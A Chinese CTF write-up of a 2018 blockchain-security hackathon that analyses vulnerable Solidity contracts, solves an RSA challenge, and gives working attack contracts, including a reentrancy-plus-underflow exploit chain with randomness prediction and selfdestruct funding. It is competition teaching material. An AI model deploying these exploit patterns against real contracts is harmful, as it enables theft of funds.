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DoraHacks区块链安全Hackathon 部分write up by 天枢

先知 2018-10-15

DoraHacks区块链安全Hackathon 部分write up by 天枢

author: 天枢

前言

在参加护网杯的同时,天枢有一波区块链大佬小分队去参加了DoraHacks举办的比赛,小伙伴们非常给力的拿下第二名 这里分享一个这个比赛的部分题解

另外天枢还有一波小分队去参加了ISCC也取得了第二的好成绩(不说了,我去催他写writeup了...

Sissel大佬说道:

早先就对DoraHacks举办的各种hackathon有所耳闻,一直想来参加感受一次,这次很高兴天枢能够受邀参加本场区块链安全比赛,与诸位师傅共同度过一个知性而优雅的周末。各大厂商在周六都分享了许多有意思的思路、或是自家引以为傲的产品和解决方案,开拓了我和小伙伴们的眼界。一下午的展示中收获了良多干货,为第二天的比赛也开拓了思路。

本次见识到了平时只能在线上看到的诸位大师傅,也有幸享受到了师傅们精心准备的题目,包含了合约审计、漏洞利用、硬件方案、密码学、交易所安全等多个类型,受益良多。也吐槽一句,师傅们颜值都好高呀!

这里给出Q1、4、11、14、15 我们队的解答。

题目wp

Q1 - 测试题

主办方提供了四个合约,需要我们给出漏洞点和修复方案,并对第二个和第四个合约写出攻击合约。

Auction.sol

pragma solidity ^0.4.10;

contract Auction {
    address public highestBidder;
    uint256 public highestBid;

    function Auction(uint256 _highestBid) {
        require(_highestBid > 0);
        // 设置起拍价格        
        highestBid = _highestBid;
        highestBidder = msg.sender;
    }

    function bid() payable {
        require(msg.value > highestBid);
        // 退还上一位竞拍者资金
        highestBidder.transfer(highestBid);

        highestBidder = msg.sender;
        highestBid = msg.value;

    }

    // 根据区块高度或者时间等,结束拍卖
    function auction_end() {
        // ...
    }
}

很典型的King/拍卖合约,问题出在了出现下一个高价者时,上一个人退款时的transfer()。我们可以构造一个攻击合约,他的回调函数是payable,且函数中revert()或throw。即让我们的攻击合约,作为最高出价者,并且不能接受转账即可。

BankOwned.sol

contract Owned {
    address public owner;
    function Owned() { owner = msg.sender; }
    modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}

contract Bank is Owned {
    address public owner = msg.sender;


    function transferOwner(address new_owner) public onlyOwner payable {
         owner = new_owner;
    }

    function withdraw(uint amount) public onlyOwner {
        require(amount <= this.balance);
        msg.sender.transfer(amount);
    }
}

这里我认为是继承了Owned()函数,出现了问题,solidity的继承原理是代码拷贝,所有人都可以调用Bank里的Owned函数,但我之后并未调通,希望大家指正这里。

MyContacts.sol

pragma solidity ^0.4.0;

contract MyContacts {

        struct PersonInfo {
            address person;
            string phoneNumber;
            string note;
        }

        address private owner;

        mapping(address => PersonInfo) contacts;

        function MyContacts() {
            owner = msg.sender;
        }

        function addContact(address _person, string _phoneNumber, string _note) public {
            PersonInfo info;
            info.person = _person;
            info.phoneNumber = _phoneNumber;
            info.note = _note;
            contacts[msg.sender] = info;
        }
}

在函数里声明,会覆盖变量。

这里举个启明的文章,方便理解,师傅们在第一天的演讲中也提到了这一点。

pragma solidity 0.4.24;

contract test {

    struct aa{
        uint x;
        uint y;
    }

    uint public a = 4;
    uint public b = 6;

    function test1() returns (uint){
        aa x;
        x.x = 9;
        x.y = 7;
    }
}

函数test1中定义了一个局部结构体变量x,但是没有对其进行初始化。根据solidity的变量存储规则,这时候x是存储在storage中的,而且是从索引0开始,那么对其成员变量x,y赋值之后,刚好覆盖了全局变量a和b。

PrivateBank.sol

pragma solidity ^0.4.15;

contract PrivateBank {
    mapping (address => uint) userBalance;

    function getBalance(address u) constant returns(uint){
        return userBalance[u];
    }

    function addToBalance() payable{
        userBalance[msg.sender] += msg.value;
    }   

    function withdrawBalance(){
        if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
            throw;
        }
        userBalance[msg.sender] = 0;
    }   
}

看名字都猜出来了,肯定是重入漏洞啦msg.sender.call.value(userBalance[msg.sender])(),攻击的话call一下就好了hhh。

先让攻击合约充一点钱
function () payable public{
    victim.call(bytes4(keccak256("withdrawBalance()")));
}

Q4 - 游戏逻辑题,找出三个漏洞

这个题最后只有我们天枢给出了主办方满意的回答,已经在赛后分享和大家讨论过了。

也是之前在创宇404的时候,和Lorexxar师傅经常一起审合约,养成的好习惯。很喜欢这道题,出题的师傅说,请大家把它仅仅当作游戏合约来看待,而不是蜜罐之类的hh。我还蛮喜欢这种心态的。

pragma solidity ^0.4.0;

// Bet Game
contract BetGame {
    address owner;                                  // 合约持有者
    mapping(address => uint256) public balanceOf;   // 用户资金集

    uint256 public cutOffBlockNumber;               // 下注截止到cutOffBlockNumber,至少有1000个块的距离到创建合约的块
    uint256 public status;                          // 状态,根据每次下注修改状态
    mapping(address => uint256) public positiveSet; // 赌注正面赢: status == 1
    mapping(address => uint256) public negativeSet; // 赌注反面赢: status == 0
    uint256 public positiveBalance;                 // 正面下注资金总额
    uint256 public negativeBalance;                 // 反面下注资金总额

    modifier isOwner {
        assert(owner == msg.sender);
        _;
    }

    modifier isRunning {
        assert(block.number < cutOffBlockNumber);
        _;
    }

    modifier isStop {
        assert(block.number >= cutOffBlockNumber);
        _;
    }

    constructor(uint256 _cutOffBlockNumber) public {
        owner = msg.sender;         
        balanceOf[owner] = 100000000000;
        cutOffBlockNumber = _cutOffBlockNumber;
    }

    function transfer(address to, uint256 value) public returns (bool success) {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
        return true;
    }

    // 下注并影响状态,该操作必须在赌局结束之前
    function bet(uint256 value, bool positive) isRunning public returns(bool success) {
        require(balanceOf[msg.sender] >= value);
        balanceOf[msg.sender] -= value;
        if (positive == true) {
            positiveSet[msg.sender] += value;
            positiveBalance += value;
        } else {
            negativeSet[msg.sender] += value;
            negativeBalance += value;
        }

        bytes32 result = keccak256(abi.encodePacked(blockhash(block.number), msg.sender, block.timestamp));
        uint8 flags = (uint8)(result & 0xFF);   // 取一个字节,根据值的大小决定状态
        if (flags > 128) {
            status = 1;
        } else {
            status = 0;
        }
        return true;
    }

    // 猜对就取回成本和猜对所得(猜错将不能取回成本),该操作必须在赌局结束以后
    function withdraw() isStop public returns (bool success){
        uint256 betBalance;
        uint256 reward;
        if (status == 1) { // positiveSet
            betBalance = positiveSet[msg.sender];
            if (betBalance > 0) {
                balanceOf[msg.sender] += betBalance;
                positiveSet[msg.sender] -= betBalance;
                positiveBalance -= betBalance;
                reward = (betBalance * negativeBalance) / positiveBalance;
                negativeBalance -= reward;
                balanceOf[msg.sender] += reward;
            } 
        } else if (status == 0) {
            betBalance = negativeSet[msg.sender];
            if (betBalance > 0) {
                balanceOf[msg.sender] += betBalance;
                negativeSet[msg.sender] -= betBalance;
                negativeBalance -= betBalance;
                reward = (betBalance * positiveBalance) / negativeBalance;
                positiveBalance -= reward;
                balanceOf[msg.sender] += reward;
            }
        }
        return true;
    }
}

不按审合约正确的套路写了,这里给出我的答案,前三个是师傅的预期解。

随机数分布不均

if (flags > 128) {
    status = 1;
} else {
    status = 0;
}

正:反 = 129:127

发奖金时逻辑有误

negativeSet[msg.sender] -= betBalance;
negativeBalance -= betBalance;
reward = (betBalance * positiveBalance) / negativeBalance;

应该先计算reward,再变动参数,目前这样会导致用户多领款。

游戏时长设计不合理

modifier isRunning {
    assert(block.number < cutOffBlockNumber);
    _;
}

modifier isStop {
    assert(block.number >= cutOffBlockNumber);
    _;
}

constructor(uint256 _cutOffBlockNumber) public {
    owner = msg.sender;         
    balanceOf[owner] = 100000000000;
    cutOffBlockNumber = _cutOffBlockNumber;
}

我感觉这个算是设计的不好,好在提交的时候提到了构造函数的问题,经师傅锦囊指点,给出了正确解答。这里的设计非常奇怪,我们常见的游戏合约,都是设计游戏时长,这个却设计的是输入截断高度。当合约部署时输入错误,会导致游戏不开始or永远无法结束。给出这样的设计更好:

require(游戏长度> 1000 and 游戏长度<10000);
cutOffBlockNumber = block.number + 游戏长度;

随机数的熵源

虽然没有较完美的随机数生成方案,但这里有个大问题hh

bytes32 result = keccak256(abi.encodePacked(blockhash(block.number), msg.sender, block.timestamp));

区块未生成的情况下,blockhash(block.number)恒为0,借secbit的师傅的话:

常见不安全的“随机数”计算方法,会读取当前块的前一个块的哈希 block.blockhash(block.number-1) 作为随机源。而在合约内执行 block.blockhash(block.number) 返回值为 0。我们无法在合约内获得当前区块的哈希,这是因为矿工打包并执行交易时,当前区块哈希尚未被算出。因此,我们可以认为“当前区块”哈希是“未来”的,无法预测。

其他

  • solidity版本过低
  • 上个safemath库,不过这个合约上下溢处理的都ok

Q11 - 密码学RSA

这题是小伙伴HWHong做的,师傅web渗透一把手,密码学也超厉害!

明文:something_for_nothing

思路赛后在群里已经有了,大体是可以看到n2可分解为多个素数,只有一个密文,说明n1是加密用的n,n2是hint。

因为n1,n2高位相同,假设:

  • n1 = p1 * q1
  • n2 = (p1 + a) * (q1 + b)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from gmpy2 import is_prime as prime
from gmpy2 import iroot
n = 23813929634961916607351565880455941766670447113389071712756695324346844628401731716721342593051007386272154527731664038624979611788014212477351852945244505409460937047258358062539110381430391840699958786987625931706228387994323041218966203797392082298285118826348211114759651033904573709571472601260689154545949713245271655372366964733467694911683404472839031932865195076679363440004259157441442904092160547940620462275523928770007343760308099893870201392965037704560065286860197211399375405419620507897112217284427055511050820476779226202266877872708788417574738346625361066145535064835057037859284000257460115692751L
nn = 23813929634961916607351565880455941766670447113389071712756695324346844628401731716721342593051007386272154527731664038624979611788014212477351852945244505409460937047258358062539110381430391840699958786987625931706228387994323041218966203797392082298285118826348211114759651033904573709571472601260689154673727252437046185126099084752843732400209032782207790902956024459189700856089587545302854326571561755007254420608514135036673700243280752364319986331493694769729841789115612749641973878393284804681876299531933348630664123809944975501332215753682284226293973903784246618067269627749460102002825975011735463170307L
# print nn > n
t = nn - n

def f1(x, y): return pow(x * y - t, 2) - 4 * n * x * y

def f2(x, y, s): return (t - x * y - s) / (2 * x)

for x in xrange(366, 3000):
    for y in xrange(1, 3000):
        print x, y
        if f1(x, y) >= 0:
            s, b = iroot(f1(x, y), 2)
            if b:
                if prime(f2(x, y, int(s))):
                    print "Success"
                    print f2(x, y, int(s))
                    exit()

之后RSA解密即可

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def bytes_to_num(b):
    return int(b.encode('hex'), 16)

def num_to_bytes(n):
    b = hex(n)[2:-1]
    b = '0' + b if len(b)%2 == 1 else b #16进制补成偶数位
    return b.decode('hex')

def gcd(a, b):
    if a < b:
        a, b = b, a
    while b != 0:
        temp = a % b
        a = b
        b = temp
    return a


n= 23813929634961916607351565880455941766670447113389071712756695324346844628401731716721342593051007386272154527731664038624979611788014212477351852945244505409460937047258358062539110381430391840699958786987625931706228387994323041218966203797392082298285118826348211114759651033904573709571472601260689154545949713245271655372366964733467694911683404472839031932865195076679363440004259157441442904092160547940620462275523928770007343760308099893870201392965037704560065286860197211399375405419620507897112217284427055511050820476779226202266877872708788417574738346625361066145535064835057037859284000257460115692751L
q = 153346707022470063255234682736500792074659843501367018551890586572000593877733769700626279692600930780783180304304442159621776245608196861201940418144595471936294352073422843950321344403965643436262621305985924339820909114418402737553700882775797335050564405239123363288904724634792579573240467129306394648627
p = 155294691991478076246533723107402680119846505071987471714029291163531622103148666018845728574257526241116901720654471382085147320775795052977889980257647661071362112907870430296641453839932096411043572129394525643559799347739002453989935199062302896371462733787830466546655020686256703190391276771066251117813
c = 18605789682603602447496491798717321758798293700581905324029316650457391496265655270825055100678097929357061608642146193773598093988238186832894784951616085628646685595376101261377731258729834390380505295109894703902052847643842156614062711247564519297808798554671766259798926540994634858657655351713982599673967765484141456377356967352743349134262973092564982272405212241089526282547070247316071159193009664342169931360323767519419547890738439815871541842638219161372841320792826512207337857015266817573319095062799628537492791048391092577478382005012019416835632572465215950053539506334972912038960318318733757235757L 
e = 65537
print p*q == n
d = modinv(e,(p-1)*(q-1))
print "d: " + str(d)
m = pow(c,d,p*q)
print "m: " + str(m)
flag = hex(m)
print str(flag)[2:-1].decode('hex')

Q14 - puzzle Hello

长亭的晓航师傅技术厉害,出的题好,人还帅,我们队已经全员被圈粉了orz。

这是一道考察与合约交互的基础题。只给了函数声明和合约地址,通过反复交互,获得提示,最后拿到flag,不是很难。我没怎么记住具体过程,不过只要是做合约审计方向的,应该都可以做出来。

我这留了个邮件的记录,大佬们可以参考一下交互方式,其实两个合约可以合并,当时打得有点意识模糊。。

随机数生成
pragma solidity ^0.4.19;
contract Attack {
    address public owner;
    address public victim;
    uint256 public num;

    function Attack() payable { owner = msg.sender;
        victim = 0xc95872680072f57485aa0913ded224ee70a9e2cb;
    }


    function sissel() public view returns(uint256)
    {
        uint256 seed = uint256(blockhash(block.number-1));
        uint256 rand = seed / 26959946667150639794667015087019630673637144422540572481103610249216;
        return rand;
    }
}

交互,可能少了几个步骤,大体是这样
contract xixi {

    address public owner;

    constructor()public{
        owner = msg.sender;
    }

    function getInfo() public pure returns(string);   
    function sendFlag1() public returns(string);
    function getCode() public pure returns(string);
    function game(uint256 guess) public view returns(string);
}

Q15 - Puzzle Magic Bank

还是晓航师傅出的题,超有趣,我很喜欢这样不是很难,但是考点很多,而且每一步都理所应当的题目。

contract MagicBank {
    mapping(address => uint) public balanceOf;
    mapping(address => uint) public creditOf;
    address owner;

    constructor()public{
        owner = msg.sender;
    }

    function transferBalance(address to, uint amount) public{
        require(balanceOf[msg.sender] - amount >= 0);
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
    }

    event SendFlag(uint256 flagnum, string b64email);
    function sendFlag3(string b64email) public {
        require(balanceOf[msg.sender] >= 10000);
        emit SendFlag(1, b64email);
    }

    function guessRandom(uint256 guess) internal view returns(bool){
        uint256 seed = uint256(blockhash(block.number-1));
        uint256 rand = seed / 26959946667150639794667015087019630673637144422540572481103610249216;
        return rand == guess;
    }

    function buyCredit(uint256 guess) public {
        require(guessRandom(guess));
        require(balanceOf[msg.sender] >= 10000);
        require(creditOf[msg.sender] == 0);

        creditOf[msg.sender] = 1;
        balanceOf[msg.sender] -= 10000;
    }

    function withdrawCredit(uint amount) public{
        require(creditOf[msg.sender] >= amount);
        msg.sender.call.value(amount*1000000000)();
        creditOf[msg.sender] -= amount;
    }

    function sendFlag4(string b64email) public {
        require(creditOf[msg.sender] >= 10000);
        emit SendFlag(2, b64email);
    }

    function getEthBalance() public view returns(uint256){
        return this.balance;
    }

    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
    function kill(address t) public onlyOwner {
        selfdestruct(t);
    }
}

这题的流程是这样的:

  1. 首先随意transferBalance()一下,造成下溢,让balance很大,获得flag3
  2. 绕过随机数预测,成功调用buyCredit(),购买信用。
  3. withdrawCredit()中依然存在下溢问题,但是require变严格,需要使用重入攻击,在未更新credit时,多取几次。
  4. 上面的攻击遇到一个问题,就是目标合约里没有钱。且目标合约的回调函数没有payable,需要创建另一个合约,selfdestruct后,强制给目标合约转账。
  5. credit下溢后,获得flag4。

攻击合约:

contract magic_attack {
    address owner;
    string private email = "OTA3ODg2MDc2QHFxLmNvbQ==";
    address private victim = 0x1180e23d7360fc19cf7c7cd26160763b500b158b;
    uint256 public rand = 0;

    constructor()public{
        owner = msg.sender;
        email = "OTA3ODg2MDc2QHFxLmNvbQ==";
    }

    function step1() public{
        address my_to = 0x1180e23d7360fc19cf7c7cd26160763b500b151c;
        uint256 amount = 0x186a0;
        victim.call(bytes4(keccak256("transferBalance(address,uint256)")),my_to,amount);
    }

    function step2() public{
        uint256 seed = uint256(blockhash(block.number-1));
        rand = seed / 26959946667150639794667015087019630673637144422540572481103610249216;
        victim.call(bytes4(keccak256("buyCredit(uint256)")),rand);
    }
    //在这里,另一个合约自毁。
    function step3() public{
        victim.call(bytes4(keccak256("withdrawCredit(uint256)")),1);
    }

    function () payable public{
        victim.call(bytes4(keccak256("withdrawCredit(uint256)")),1);
    }

    function test() public{
        MagicBank mb = MagicBank(victim);
        mb.sendFlag4(email);
    }
}

contract bomb {
    address owner;

    constructor()public{
        owner = msg.sender;
    }

    function () payable public{}

    function end() public{
        selfdestruct(0x1180e23d7360fc19cf7c7cd26160763b500b158b);
    }
}

总结

本次比赛天枢获得了第二名的好成绩,与小伙伴们在比赛中的默契配合息息相关的。

让我总结一下区块链安全的要义,我想说:想象力就是武器。面对区块链和智能合约的题目,只有胆大心细多思考,才能想出完整的攻击链。

现实中,合约、节点、共识算法、钱包、交易所等等,无论哪方面薄弱,都会让黑客有着把货币席卷一空的可能。

就像是在赛事最后分享环节我所说,希望大家在工作中胆大心细,注意好系统的细枝末节,作为安全从业人员,才算真正完成了我们的工作。

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